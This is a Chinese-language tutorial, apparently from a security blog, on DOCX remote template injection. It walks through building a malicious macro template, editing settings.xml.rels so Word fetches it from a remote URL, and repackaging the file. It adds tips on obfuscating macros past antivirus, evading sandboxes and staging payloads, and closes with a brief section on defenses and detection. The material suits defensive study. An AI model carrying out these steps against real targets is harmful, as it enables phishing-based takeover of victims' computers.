利用DOCX文档远程模板注入执行宏
字数 1390 2025-08-29 08:32:19
DOCX远程模板注入宏执行攻击技术详解
1. 技术原理
DOCX远程模板注入是一种利用Word文档模板加载机制实现宏代码执行的攻击技术。其核心原理是:
- 创建包含恶意宏的DOTM模板文件
- 制作看似无害的DOCX文档,但包含指向远程DOTM模板的引用
- 当DOCX被打开时,Word会自动从远程位置下载并加载模板,执行其中的宏
2. 技术优势
相比传统宏攻击方式,此技术具有以下优势:
- 规避文件类型限制:许多组织仅阻止.doc/.docm文件而允许.docx
- 绕过静态检测:DOCX本身不含恶意代码,仅包含远程引用
- 灵活部署:可通过HTTP(S)协议传输模板,避免SMB协议限制
- 沙箱规避:可使用mod_rewrite规则或IP限制防止沙箱分析
3. 攻击实施步骤
3.1 创建恶意DOTM模板
- 打开Word,确保"开发工具"选项卡可见
- 进入"开发工具" → "Visual Basic"打开VBA编辑器
- 双击"ThisDocument"打开代码窗口
- 插入恶意宏代码(如PowerShell Empire payload)
- 将文件另存为.dotm格式(建议使用无害名称如"InvoiceTemplate.dotm")
注意事项:
- 宏代码需进行混淆处理以绕过Windows Defender等防护
- 测试确保宏能正确执行(可临时禁用防护软件进行测试)
3.2 创建诱导性DOCX文档
- 制作看似正常的Word文档内容
- 将文档另存为.docx格式
- 将文件扩展名改为.zip并解压
- 进入
word/_rels/目录,编辑settings.xml.rels文件
3.3 修改模板引用
在settings.xml.rels中:
- 找到包含
attachmentTemplate的Relationship标签 - 将
Target属性值修改为远程DOTM模板的URL(如HTTPS地址)
示例修改:
<Relationship Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="https://example.com/malicious.dotm" TargetMode="External"/>
3.4 重新打包DOCX文件
- 将修改后的文件夹内容重新压缩为ZIP文件
- 将.zip扩展名改回.docx
4. 攻击效果
当受害者打开DOCX文档时:
- Word自动从指定URL下载DOTM模板
- 系统提示"启用内容"(取决于宏安全设置)
- 一旦用户启用内容,恶意宏即被执行
- 攻击者获得系统控制权(如PowerShell Empire会话)
5. 防御措施
5.1 组织防护
- 禁用所有Office宏执行(最高安全级别)
- 即使对.docx文件也保持警惕
- 部署高级邮件过滤和沙箱分析
- 监控异常网络连接(特别是Office进程的HTTP请求)
5.2 技术检测
- 检查DOCX文件中的
settings.xml.rels是否存在外部模板引用 - 分析网络流量中Office进程的异常HTTP请求
- 使用AMSI扫描宏代码内容
6. 高级技巧
- 隐蔽托管:使用合法云服务(如GitHub)托管恶意模板
- 条件触发:通过mod_rewrite规则实现地理/IP过滤,避开沙箱
- 模板混淆:对DOTM文件进行混淆和签名规避
- 多阶段加载:初始模板仅包含下载器功能,后续分阶段加载payload
7. 总结
DOCX远程模板注入是一种有效的攻击技术,利用了:
- 用户对.docx文件的信任
- 组织对宏文档的过滤不完整性
- Word自动加载远程模板的特性
防御需要多层次防护,包括技术限制、用户教育和持续监控。